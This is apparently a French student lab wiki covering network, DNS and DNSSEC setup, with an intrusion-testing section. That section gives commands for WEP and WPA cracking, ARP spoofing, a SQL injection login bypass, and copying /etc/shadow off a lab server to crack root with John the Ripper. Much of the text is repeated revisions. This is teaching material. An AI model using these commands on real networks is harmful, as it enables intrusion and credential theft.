address 10.60.101.254
preemt
exit
exit
write

==3.8 Interconnexion Internet de secours (IPv4) (16/11/2020)==
(En collaboration avec le groupe 14)

On connecte physiquement l'ISR au SDSL: Dans le local technique SR52, on repere sur quel port est branché le l'ÍSR pour le mettre dans le VLAN 531
conf t
int Gi0/37
switchport mode access
switchport access vlan 531
exit
exit
write

Sur l'ISR:
* On creer le vlan 531:
conf t
vlan 531

==3.9 Interconnexion Internet de secours (IPv6) (pas encore fait)==

=4 Services Internet=

==Connexion a internet (02/11/2020)==

Afin de mettre internet sur nos machines il faut au préalable modifier le fichier /etc/network/interfaces de nos VM:
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.188
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.28/24
up ip route add default via 100.64.0.2 src 193.48.57.188
down ip address del dev eth0 100.64.0.28/24
down ip route del default via 100.64.0.2 src 193.48.57.188

L'adresse 193.48.57.188 correspond à notre adressé routée, l'adresse 100.64.0.28 est notre adresse sur le vlan333 et l'adresse 100.64.0.2 est l'adresse du routeur/commutateur 9200 sur le vlan333.

Il faut ensuite ajouter la route sur le 9200 pour notre VM. Pour se faire on se connecte en ssh sur la zabeth09:
ssh pifou@zabet09.plil.info
Et ensuite via minicom:
minicom -os /dev/ttyACM0
On rentre la commande suivante (apres avoir fait enable et conf t au préalable):
ip route 193.48.57.188 255.255.255.255 100.64.0.28

Nous avons désormais accès à internet sur nos VM et nous pouvons donc maintenant installer bind9 et configurer notre DNS.

==4.1 Serveur SSH (02/11/2020)==
Le service SSH était activé par defaut.
Il faut juste autoriser la connexion en root dans le fichier /etc/ssh/sshd_config
PermitRootLogin yes

puis systemctl restart sshd

et on peut se connecter a notre vm
ssh root@193.48.57.188

==4.2 Serveur DNS (02/11/2020)==

Pour commencer dans le fichier de configuration /etc/resolv.conf nous avons mis comme adresse de serveur de nom
127.0.0.1

Dans /etc/bind/named.conf.local, en suivant le cours nous avons modifié et/ou ajouté:
options{
directory "/var/cache/bind";
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32 ;
};

Ensuite avec bind9 nous avons pu configurer notre serveur de nom.
Dans le fichier /etc/bind/named.conf.local nous avons défini notre zone "trompettedelamort.site":
zone "trompettedelamort.site" IN {
type master;
file "/etc/bind/db.trompettedelamort.site";
allow-transfer { 217.70.177.40;};
};

Puis nous avons configuré le fichier db.trompettedelamort.site. Pour se faire nous avons pris le fichier par defaut db.local que nous avons copié puis modifié:
zone "trompettedelamort.site" IN {
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamoo
rt.site(
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.188

Enfin sur gandi.net nous avons crée un glue record dans lequel nous avons mis l'adresse ip de notre machine virtuelle puis nous avons ajouté dans Nameservers.
ns6.gandi.net possedant déjà son glue record, nous avons simplement ajouté ce dernier dans Nameservers.

==4.3 Sécurisation de site web par certificat (16/11/2020)==

La documentation de ce point est disponible sur demande en contactant un membre du binôme.

===Verifications===
https://www.trompettedelamort.site

==4.4 Sécurisation de serveur DNS par DNSSEC (16/11/2020)==

La configuration a été réalisé en suivant les instructions dans le sujet de TP rubrique : 4.4 Sécurisation de serveur DNS par DNSSEC

Premièrement nous avons modifié le ficher named.conf.options pour y ajouter l'options suivantes:
dnssec-enable yes

Nous avons ensuite crée un repertoir trompettedelamort.dnssec afin d'y générer les clefs. Nous devons générer une paire de clef KSK et une paire de clef ZSK.

Pour créer la paire de clef KSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE trompettedelamort.site

Et pour la paire de clef ZSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE trompettedelamort.site

Nous renommons ces paires avec comme prefixe trompettedelamort.site et comme suffice -zsk pour la paire zsk et -ksk pour la paire ksk et nous terminon avec .key pour les clefs publiques et .private pour les clefs privées.

Ensuite dans notre fichier zone db.trompettedelamort.site nous ajoutons les lignes suivantes sans oublier d'incrémenter le Serial:
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-ksk.key
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-zsk.key

Le fichier db.trompettedelamort.site ressemble donc à cela:
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamort.site.(
8 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
@ IN MX 100 ns1.trompettedelamort.site.
ns1 IN A 193.48.57.188
www IN A 193.48.57.188
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-zsk.key

Nous signons ensuite les enregristrement de la zone avec la commande suivante:
dnssec-signzone -o trompettedelamort.site -k trompettedelamort.site-ksk ../db.trompettedelamort.site trompettedelamort.site-zsk
Ce qui a pour effet de générer un fichier zone "db.trompettedelamort.site.signed"

Nous n'avons donc plus qu'a remplacer db.trompettedelamort.site par db.trompettedelamort.site.signed dans le fichier named.conf.local:
root@trompettedelamort:~# cat /etc/bind/named.conf.local
//
// Do any local configuration here
zone "trompettedelamort.site" IN {
type master;
file "/etc/bind/db.trompettedelamort.site.signed";
allow-transfer { 217.70.177.40;};
};
// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

Pour finir il ne reste plus qu'a fournir la clef publique de la clef KSK à gandi.net. Pour se faire il faut se rendre dans "DNSSEC" puis dans "Add an external key", choisir KSK et "RSA/SHA-1" et renseigner la clef se trouvant dans
/etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key

On vérifie avec la commande suivante:
dnssec-verify -o trompettedelamort.site db.trompettedelamort.site.signed

Qui nous renvoie ce résultat:
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked
../db.trompettedelamort.site.signed

=Tests d’intrusion=

==5.1 Exploitation de failles du système (en cours)==

==5.2 Cassage de clef WEP d’un point d’accès WiFi (15/10/2020)==

Avec le packetage aircrack-ng il est possible de casser une clef wep.

Pour se faire on récupère le nom de de notre interface WiFi et son adresse MAC avec :
iwconfig

Ensuite pour analyser les packets WiFi qui circulent sur le réseau on se sert de la commande:
airodump-ng nomDeMaCarte
Se faisant, l'interface se met automatiquement en mode monitor.

Il faut ensuite tester le Point d'accés avec une injection test:
aireplay-ng -9 -e nomPA -a MACPA nomDeMaCarte
-9 permet de réaliser un test.

Pour casser la clef WEP, l'algorithme nécessite le plus de vecteur d'initialisation possible. Pour récupérer ces derniers on se sert de la commande suivante:
airodump-ng -c 3 --bssid MACPA -w output nomDeMaCarte
-c 3 correspond au canal sur lequel émet notre PA, et output sera le fichier contenant tous les vecteurs d'initialisations.

Pour accélérer l'acquisition de vecteurs d'initialisations,nous allons récupérer tous les paquets ARP émis par le PA et les réinjecter. A chaque réinjection les PA génère un nouveau vecteur d'initialisation, cette technique permet d'accélérer la collecte des vecteurs.

Pour permettre l'injection de paquet ARP dans le PA il faut d'abord associer la carte et le PA:
aireplay-ng 1 0 -e nomPA -a MACPA -h MACcarte nomDeMaCarte
-1 correspond à une fausse authentification et 0 au délais de réassociation.

Une fois que nous avons collecté suffisament de vecteurs nous pouvons lancer l'algorithme de cassage:
aircrack-ng -b MACPA output*.cap

==5.3 Cassage de mot de passe WPA-PSK par force brute (02/11/2020)==

On commence par mettre l'interface WiFi en mode monitor:
airmon-ng start maCarte

Ensuite on lance une écoute généralisée des trames WiFi qui circulent:
airodump-ng maCarte

A partir de là on peut récupérer le BSSID, L'ESSID et le canal utilisé par le PA qui nous intéresse, nous avons pris la kracotte03.

Puis pour cibler la recherche on lance la commande suivante:
airodump-ng -c 3 --bssid MACPA -w psk maCarte

A partir de la on attend un handshake (émis lors de la connexion d'un utilisateur au PA).

Une fois le handshake récupéré il n'y a plus qu'a lancer l'algorithme pour casser la PSK:
aircrack-ng -w dictionnaire -b MACPA psk*.cap

Il faut au préalable avoir un dictionnaire contenant toutes les combinaisons qui nous intéressent, dans notre un cas il nous faut toutes les combinaisons possibles sur 8bits en décimale.
Pour se faire soit on fait un petit programme générant toutes les combinaisons possibles, soit on se sert d'un outil de création de dictionnaire. Nous avons utilisé crunch avec la commande suivante:
crunch 8 8 0123456789 -o dictionnaire

Nous avons du attendre quelques heures avant que aircrack nous retourne la clef.

==5.4 Attaque de type "homme au milieu" par usurpation ARP (06/11/2020)==

N'ayant pas accès au eeePC (COVID19) on a créé deux machines virtuelles sur note machine personnelle pour simuler l'environement de TP.

[[Fichier:ARP1.png|1000px]]

On transforme la machine '''attacker''' en routeur:
attacker@attacker:~/ sysctl -w net.ipv4.ip_forward=1

Puis on lance l'empoisonnement du cache ARP de la victime:
attacker@attacker:~/ arpspoof -i enp0s3 -t 192.168.1.74 192.168.1.254

On peut vérifier que l'attaque a bien fonctionné en observant la table ARP de la victime:
victime@victime:~/ /arp
bbox.lan (192.168.1.254) at 08:00:27:34:f9:27
...
attacker (192.168.1.44) at 08:00:27:34:f9:27
L'adresse MAC de la passerelle par défaut (ma box internet dans ce cas) est la même que celle de la machine '''attacker'''

Lorsque la machine veut communiquer avec l'extérieur, elle passe donc automatiquement par la machine '''attacker''':
victime@victime:~/ traceroute 8.8.8.8
1 attacker (192.168.1.44) 0.456 ms 0.552 ms 0.537 ms
2 bbox.lan (192.168.1.254) 5.071 ms 5.053 ms 4.965 ms
...
9 dns.google (8.8.8.8) 13.306 ms 12.759 ms 12.551 ms

On lance wireshark sur '''attacker''' et on se connecte a un site http quelconque sur ''''victime'''. On peut voir transiter en claire les identifiants et mot de passes utilisés pour se connecter au site.

[[Fichier:ARP2.png|1000px]]

Même chose avec un logiciel de conversation instantanée non chiffré.

==5.5 Intrusion sur un serveur d’application Web (04/11/2020)==
===Injection SQL===
On se rend sur le site http://honey.plil.info. Etant donnée que le but est de s'introduire sur le serveur, on se doute que ce n'est pas l'application la plus sécurisée du monde: une simpl injection SQL pourais faire l'affaire pour obtenir une liste des identifiants de connexion. On renseigne donc les champs '''Identifiant''' et '''Mot de passe''' avec la valeure:
' OR 1 = 1 --
Bingo! L'application nous retourne un tableau avec des identifiant et mdp, on se connecter avec le profil '''admin'''

===Base de donnée===
En fouillant un peu sur l'interface web, on se rend compte qu'on a accés a un fichier '''config-db.php ''' (dans l'onglet '''Recherche d'un manuel'''). Ce dernier nous renseigne le mot de passe root d'abministration de la base de donnée. En se connectant à l'interface d'administration du serveur de BDD
http://honey.plil.info/phpmyadmin/ avec ce mot de passe, on accède au contenue des tables.

Une table en particulier nous interesse: '''users''' dans la base '''test''', puisqu'elle contient les identifiant de connexion ('''rex''')

===connexion au serveur===
On peut verifier que le serveur est bien accéssible a distance avec:
nmap -6 honey.plil.info
qui nous renseigne que les services http et ssh sont accéssible sur la machine.

On tente donc de se connecter en ssh avec les information récupérées dans la base de donnée.

On a accès a tous les fichier de configuration et nottament les informations sur les utilisateurs que l'on récupère:
scp /etc/passwd pifou@zabethXX:~/intrusion/passwd
scp /etc/shadow pifou@zabethXX:~/intrusion/shadow

===Cassage du mot de passe root===
Pour la suite, nous utilisons les commandes de l'utilitaire '''John the Ripper'''.
La commande suivante nous permet de voir les mots de passe chiffrés des utilisateurs.
unshadow ./passwd ./shadow | grep root > pass
On enregistre la clé de l'utilisateur '''root''' dans un fichier '''pass'''.

Comme nous savons que le mot de passe suis la meme logique que le mot de passe administrateur habituel des machines de projets, on suppose qu'il s'agit d'un répétition de 2 mot de 4 lettre: abcdabcd. On génere un dictionnaire qui permettera de casser le mot de passe chiffé.
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico
sed -i 's/$.*$/\1\1/' dico

puis on lance le cassage:
/usr/sbin/john -w:dico pass

apres quelques minutes, le mot de passe est diponible en clair:
/usr/sbin/john --show pass

=Réalisations=

===6.1 Sécurisation de données===

===6.2 Chiffrement de données===

===6.3 Inspection ARP par un élément réseau===

===6.4 Sécurisation WiFi par WPA2-EAP===

TP sysres IMA5sc 2020/2021 G1

2020-11-30T13:52:39Z

Egury : /* 4.4 Sécurisation de serveur DNS par DNSSEC (16/11/2020) */

TP PRA - Evan Gury & Vincent Dubois - trompettedelamort

Informations générales
----------------------
{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 1
| trompettedelamort.site
| Debian 10 Buster
| 301
| 100.64.0.28
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.188
|}

=2 Installation des systèmes d’exploitation (12/10/2020)=

ssh capbreton.plil.info
xen-create-image --hostname=trompettedelamort --ip=100.64.0.28 --gateway=100.64.0.2 --netmask=255.255.255.0 --dir=/usr/local/xen --password=pasglop --dist=buster

* Création des disques de stockage sur le serveur de virtualisation (pour tout les binômes):

Sur Capbreton:

** On réquisitionne les deux disques de 2,7To que l'on met dans un groupe

pvcreate /dev/sde
pvcreate /dev/sdf
vgcreate storage /dev/sde /dev/sdf

** On créer 2 partitions de 10Go pour chaque binôme:

lvcreate -L10G -n trompettedelamort1 storage
lvcreate -L10G -n trompettedelamort2 storage
...meme chose pour chaque groupe...

** On formate nos partitions:

mkfs.ext4 /dev/storage/trompettedelamort1
mkfs.ext4 /dev/storage/trompettedelamort2

* Modification du fichier de config de la VM (/etc/xen/trompettedelamort.cfg)
vif = ['bridge=IMA5sc, ip=100.64.0.84, ...']
et on indique quel disque utiliser:
disk = [
'file:/usr/local/xen/domains/trompettedelamort/disk.img,xvda2,w',
'file:/usr/local/xen/domains/trompettedelamort/swap.img,xvda1,w',
'phy:/dev/storage/trompettedelamort1,xvda3,w',
'phy:/dev/storage/trompettedelamort2,xvda4,w'
]

* Lancer la VM
xl create -c /etc/xen/trompettedelamort.cfg

Ensuite, sur la MV:

* Montage et peuplement des partitions:
mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4
mv /var/* /mnt/xvda4
# /home est vide donc rien a déplacer

puis on démonte:
umount /mnt/xvda3
umount /mnt/xvda4

* Modification du fichier /etc/fstab pour monter les répertoires '''var''' et '''home''' sur les partitions crées. On ajoute:
/dev/xvda3 /home /ext4 default 0 2
/dev/xvda4 /var /ext4 default 0 2

et on applique les modification du fichier fstab:
mount -a

=3 Architecture réseau=

==3.1 L’architecture générale (12/10/2020)==

La mise en service de l'infrastructure physique (démarrer les routeurs,connexions physiques entre eux et avec le routeur de l'école) a été principalement réalisés par le groupe 14.

==3.2 Les réseaux virtuels (12/10/2020)==

On créer deux VLAN:
* VLAN131 pour se connecter au routeur de l'école
* VLAN333 pour accéder aux machines virtuelles sur Capbreton

Cette partie a partiellement été réalisée par le groupe 14 lors de la première séances

==3.5 Interconnexion avec Internet IPv4(15/10/2020 & 02/11/2020)==

Le réseau utilisé pour ce TP est le 193.48.57.176/28 (cohabitation avec les IMA2A5 qui ont 193.48.57.160/27). Nous avons donc a notre disposition 16 adresses IP (193.48.57.176 à 193.48.57.191) parmi lesquelles nous devons réserver :
* 1 adresse pour le réseau
* 1 adresse de Broadcast
* 1 adresse pour le routeur 1 (6509-E)
* 1 adresse pour le routeur 2 (9200)
* 1 adresse flottante pour les routeurs (redondance)
Ce qui nous laisse 11 adresses disponibles pour 13 groupes...Impossible

L'idée est donc de créer un sous réseau 10.64.0.16/28 et de faire de de la Translation d'adresse (NAT) vers 193.48.57.176/28
Nous économisons ainsi les adresses des routeurs et de diffusion qui n'ont pas besoin d’être translatées.

===OSPF===
L'OSPF permet aux routeurs dans un même domaine d'échanger des informations sur le réseau. Cela permet aux différents routeurs voisins d'avoir de meilleur tables de routages. On réalise donc cette étape sur les deux routeurs pour qu'ils s'echanges leurs tables entre eux mais également avec le routeur de l'école

'''6509-E'''

ip route 193.48.57.176 255.255.255.0 null0 #Ajout d'une route vers le routeur pour pouvoir ping directement à partir du routeur

router ospf 1 # un numéro de processus
router-id 10.60.0.101 # un id pour le routeur (plus petite adresse disponible)
log-adjacency-changes
summary-address 193.48.57.176 255.255.255.240 # adresse que l'on souhaite diffuser aux voisins (addresse du VLAN 333)
summary-address 100.60.0.0 255.240.0.0 not-advertise # address q'on veut pas diffuser (celle du reseau privé)
summary-address 10.0.0.0 255.0.0.0 not-advertise # address q'on veut pas diffuser (?)
redistribute connected subnets # autorise la diffusion pour les nouveaux réseaux qui peuvent être connectés
redistribute static subnets
network 192.168.222.8 0.0.0.7 area 2 # domaine de diffusion OSPF (Attention au masque inversé)

On peut vérifier le bon fonctonnement avec un ping vers l'adresse globale routeur de l'école
ping 193.48.57.48

De plus, on constate de nouvelles routes partagé par le routeur de l'école ("O" au début de la ligne)
show ip route

'''9200'''
On fait la meme chose en changeant le router-id : 10.60.0.102

===NAT===
On cherche à réaliser une translation d'IP (NAT static) et non une mascarade (injection = NAT Dynamic)
ip nat inside source static network 100.64.0.16 193.48.57.176 /28
Cela permet d'associer les adresse non routées de 100.64.0.16 à 100.64.0.28 aux adresse routées de 193.48.57.176 à 193.48.57.188
Il faut ensuite indiquer ques sont les VLAN concernés par la translation:
int vlan 131
ip nat outside
exit
int vlan 333
ip nat inside
exit

===Problème association OSPF et NAT===
Il semblerait que l'association de l'OSPF et du NAT soit plus complexe que prévu: les deux fonctionnent bien indépendamment mais pas ensemble. En effet, l'OSPF n'annonce pas les routes vers 100.64.0.16/28 donc aucune communication vers l'exterieur n'est possible.

Pour palier à ce problème, on déclare 100.64.0.0/24 sur VLAN333 et annonce manuellement les routes entre 193.48.57.176 et 100.640.16 (plus de NAT).
La configuration du 9200 a été faite par M. Redon, on s'occupe du 6509-E :
boot
enable
conf t
int vlan 333
no ip address 193.48.57.161 255.255.255.224 #on enleve l'ancienne ip routée
ip address 100.64.0.1 255.255.255.0
exit
exit
write

on modifie également l'identifiant de l'ospf 1 qui était en conflit avec celui des IMA2A5:
router ospf 1
router-id 10.60.100.1

Enfin, on ajoute la route vers notre MV à la main:

ip route 193.48.57.188 255.255.255.255 100.64.0.28

Puis on configure notre machine virtuelle de manière a ce qu'elle ait les deux IP (100.64.0.28 et 193.48.57.188)(cf. partie suivante).

Les paquets venant de l'extérieur sont propagé à destination de 193.48.57.188 au routeur (6509-E ou 9200) puis vers 100.64.0.28 sur le VLAN333 suivant la route indiquée précédemment. Les paquets émis par notre machine virtuelle sont transmis à la passerelle par défaut (100.64.0.1 si 6509-E ou 100.64.0.2 si 9200) (comme spécifié avec le mot clé "src" lors de l'établissement des routes) puis le routeur connait les routes pour sortir en passant par le routeur de l'école.

==3.6 Interconnexion avec Internet (IPv6)(02/11/2020)==
Le groupe 14 c'est occupé de configurer le vlan333 pour qu'il utilise des ipv6

On crée le VLAN301 pour notre domaine:

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference High #car routeur principale

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference Low

Annonce de route avec RIP fait par groupe 14

==3.7 Sécurisation du réseau (02/11/2020)==
En partenariat avec le groupe 14.
Attention la syntaxe est différente entre le 9200 et le 6509-E
On configure la redondance avec l'adresse flottante pour les VLAN333 et VLAN1 ainsi que pour le notre VLAN301.
'''6509-E'''
conf t
int vlan 333
vrrp 33 ip 100.64.0.254 # adresse flottante des routeur dans vlan333
vrrp 33 preemt # priorité au routeur qui a une priorité supérieur
vrrp 33 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 31 ip 10.60.100.254 # adresse flottante des routeur dans vlan333
vrrp 31 preemt # priorité au routeur qui a une priorité supérieur
vrrp 31 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 41 ip 10.60.101.254 # adresse flottante des routeur dans notre vlan
vrrp 41 preemt
vrrp 41 priority 110
exit
exit
write

'''9200'''
conf t
int vlan 333
vrrp 33 address-family ipv4
priority 100
address 100.64.0.254
preemt
exit
int vlan 1
vrrp 31 address-family ipv4
priority 100
address 10.60.100.254
preemt
exit
int vlan 301
vrrp 41 address-family ipv4
priority 100
address 10.60.101.254
preemt
exit
exit
write

==3.8 Interconnexion Internet de secours (IPv4) (16/11/2020)==
(En collaboration avec le groupe 14)

On connecte physiquement l'ISR au SDSL: Dans le local technique SR52, on repere sur quel port est branché le l'ÍSR pour le mettre dans le VLAN 531
conf t
int Gi0/37
switchport mode access
switchport access vlan 531
exit
exit
write

Sur l'ISR:
* On creer le vlan 531:
conf t
vlan 531

==3.9 Interconnexion Internet de secours (IPv6) (pas encore fait)==

=4 Services Internet=

==Connexion a internet (02/11/2020)==

Afin de mettre internet sur nos machines il faut au préalable modifier le fichier /etc/network/interfaces de nos VM:
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.188
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.28/24
up ip route add default via 100.64.0.2 src 193.48.57.188
down ip address del dev eth0 100.64.0.28/24
down ip route del default via 100.64.0.2 src 193.48.57.188

L'adresse 193.48.57.188 correspond à notre adressé routée, l'adresse 100.64.0.28 est notre adresse sur le vlan333 et l'adresse 100.64.0.2 est l'adresse du routeur/commutateur 9200 sur le vlan333.

Il faut ensuite ajouter la route sur le 9200 pour notre VM. Pour se faire on se connecte en ssh sur la zabeth09:
ssh pifou@zabet09.plil.info
Et ensuite via minicom:
minicom -os /dev/ttyACM0
On rentre la commande suivante (apres avoir fait enable et conf t au préalable):
ip route 193.48.57.188 255.255.255.255 100.64.0.28

Nous avons désormais accès à internet sur nos VM et nous pouvons donc maintenant installer bind9 et configurer notre DNS.

==4.1 Serveur SSH (02/11/2020)==
Le service SSH était activé par defaut.
Il faut juste autoriser la connexion en root dans le fichier /etc/ssh/sshd_config
PermitRootLogin yes

puis systemctl restart sshd

et on peut se connecter a notre vm
ssh root@193.48.57.188

==4.2 Serveur DNS (02/11/2020)==

Pour commencer dans le fichier de configuration /etc/resolv.conf nous avons mis comme adresse de serveur de nom
127.0.0.1

Dans /etc/bind/named.conf.local, en suivant le cours nous avons modifié et/ou ajouté:
options{
directory "/var/cache/bind";
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32 ;
};

Ensuite avec bind9 nous avons pu configurer notre serveur de nom.
Dans le fichier /etc/bind/named.conf.local nous avons défini notre zone "trompettedelamort.site":
zone "trompettedelamort.site" IN {
type master;
file "/etc/bind/db.trompettedelamort.site";
allow-transfer { 217.70.177.40;};
};

Puis nous avons configuré le fichier db.trompettedelamort.site. Pour se faire nous avons pris le fichier par defaut db.local que nous avons copié puis modifié:
zone "trompettedelamort.site" IN {
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamoo
rt.site(
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.188

Enfin sur gandi.net nous avons crée un glue record dans lequel nous avons mis l'adresse ip de notre machine virtuelle puis nous avons ajouté dans Nameservers.
ns6.gandi.net possedant déjà son glue record, nous avons simplement ajouté ce dernier dans Nameservers.

==4.3 Sécurisation de site web par certificat (16/11/2020)==

La documentation de ce point est disponible sur demande en contactant un membre du binôme.

===Verifications===
https://www.trompettedelamort.site

==4.4 Sécurisation de serveur DNS par DNSSEC (16/11/2020)==

La configuration a été réalisé en suivant les instructions dans le sujet de TP rubrique : 4.4 Sécurisation de serveur DNS par DNSSEC

Premièrement nous avons modifié le ficher named.conf.options pour y ajouter l'options suivantes:
dnssec-enable yes

Nous avons ensuite crée un repertoir trompettedelamort.dnssec afin d'y générer les clefs. Nous devons générer une paire de clef KSK et une paire de clef ZSK.

Pour créer la paire de clef KSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE trompettedelamort.site

Et pour la paire de clef ZSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE trompettedelamort.site

Nous renommons ces paires avec comme prefixe trompettedelamort.site et comme suffice -zsk pour la paire zsk et -ksk pour la paire ksk et nous terminon avec .key pour les clefs publiques et .private pour les clefs privées.

Ensuite dans notre fichier zone db.trompettedelamort.site nous ajoutons les lignes suivantes sans oublier d'incrémenter le Serial:
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-ksk.key
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-zsk.key

Le fichier db.trompettedelamort.site ressemble donc à cela:
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamort.site.(
8 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
@ IN MX 100 ns1.trompettedelamort.site.
ns1 IN A 193.48.57.188
www IN A 193.48.57.188
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-zsk.key

Nous signons ensuite les enregristrement de la zone avec la commande suivante:
dnssec-signzone -o trompettedelamort.site -k trompettedelamort.site-ksk ../db.trompettedelamort.site trompettedelamort.site-zsk
Ce qui a pour effet de générer un fichier zone "db.trompettedelamort.site.signed"

Nous n'avons donc plus qu'a remplacer db.trompettedelamort.site par db.trompettedelamort.site.signed dans le fichier named.conf.local:
root@trompettedelamort:~# cat /etc/bind/named.conf.local
//
// Do any local configuration here
zone "trompettedelamort.site" IN {
type master;
file "/etc/bind/db.trompettedelamort.site.signed";
allow-transfer { 217.70.177.40;};
};
// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

Pour finir il ne reste plus qu'a fournir la clef publique de la clef KSK à gandi.net. Pour se faire il faut se rendre dans "DNSSEC" puis dans "Add an external key", choisir KSK et "RSA/SHA-1" et renseigner la clef se trouvant dans
/etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key

On vérifie avec la commande suivante:
dnssec-verify -o trompettedelamort.site db.trompettedelamort.site.signed

Qui nous renvoie ce résultat:
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked
../db.trompettedelamort.site.signed

=Tests d’intrusion=

==5.1 Exploitation de failles du système (en cours)==

==5.2 Cassage de clef WEP d’un point d’accès WiFi (15/10/2020)==

Avec le packetage aircrack-ng il est possible de casser une clef wep.

Pour se faire on récupère le nom de de notre interface WiFi et son adresse MAC avec :
iwconfig

Ensuite pour analyser les packets WiFi qui circulent sur le réseau on se sert de la commande:
airodump-ng nomDeMaCarte
Se faisant, l'interface se met automatiquement en mode monitor.

Il faut ensuite tester le Point d'accés avec une injection test:
aireplay-ng -9 -e nomPA -a MACPA nomDeMaCarte
-9 permet de réaliser un test.

Pour casser la clef WEP, l'algorithme nécessite le plus de vecteur d'initialisation possible. Pour récupérer ces derniers on se sert de la commande suivante:
airodump-ng -c 3 --bssid MACPA -w output nomDeMaCarte
-c 3 correspond au canal sur lequel émet notre PA, et output sera le fichier contenant tous les vecteurs d'initialisations.

Pour accélérer l'acquisition de vecteurs d'initialisations,nous allons récupérer tous les paquets ARP émis par le PA et les réinjecter. A chaque réinjection les PA génère un nouveau vecteur d'initialisation, cette technique permet d'accélérer la collecte des vecteurs.

Pour permettre l'injection de paquet ARP dans le PA il faut d'abord associer la carte et le PA:
aireplay-ng 1 0 -e nomPA -a MACPA -h MACcarte nomDeMaCarte
-1 correspond à une fausse authentification et 0 au délais de réassociation.

Une fois que nous avons collecté suffisament de vecteurs nous pouvons lancer l'algorithme de cassage:
aircrack-ng -b MACPA output*.cap

==5.3 Cassage de mot de passe WPA-PSK par force brute (02/11/2020)==

On commence par mettre l'interface WiFi en mode monitor:
airmon-ng start maCarte

Ensuite on lance une écoute généralisée des trames WiFi qui circulent:
airodump-ng maCarte

A partir de là on peut récupérer le BSSID, L'ESSID et le canal utilisé par le PA qui nous intéresse, nous avons pris la kracotte03.

Puis pour cibler la recherche on lance la commande suivante:
airodump-ng -c 3 --bssid MACPA -w psk maCarte

A partir de la on attend un handshake (émis lors de la connexion d'un utilisateur au PA).

Une fois le handshake récupéré il n'y a plus qu'a lancer l'algorithme pour casser la PSK:
aircrack-ng -w dictionnaire -b MACPA psk*.cap

Il faut au préalable avoir un dictionnaire contenant toutes les combinaisons qui nous intéressent, dans notre un cas il nous faut toutes les combinaisons possibles sur 8bits en décimale.
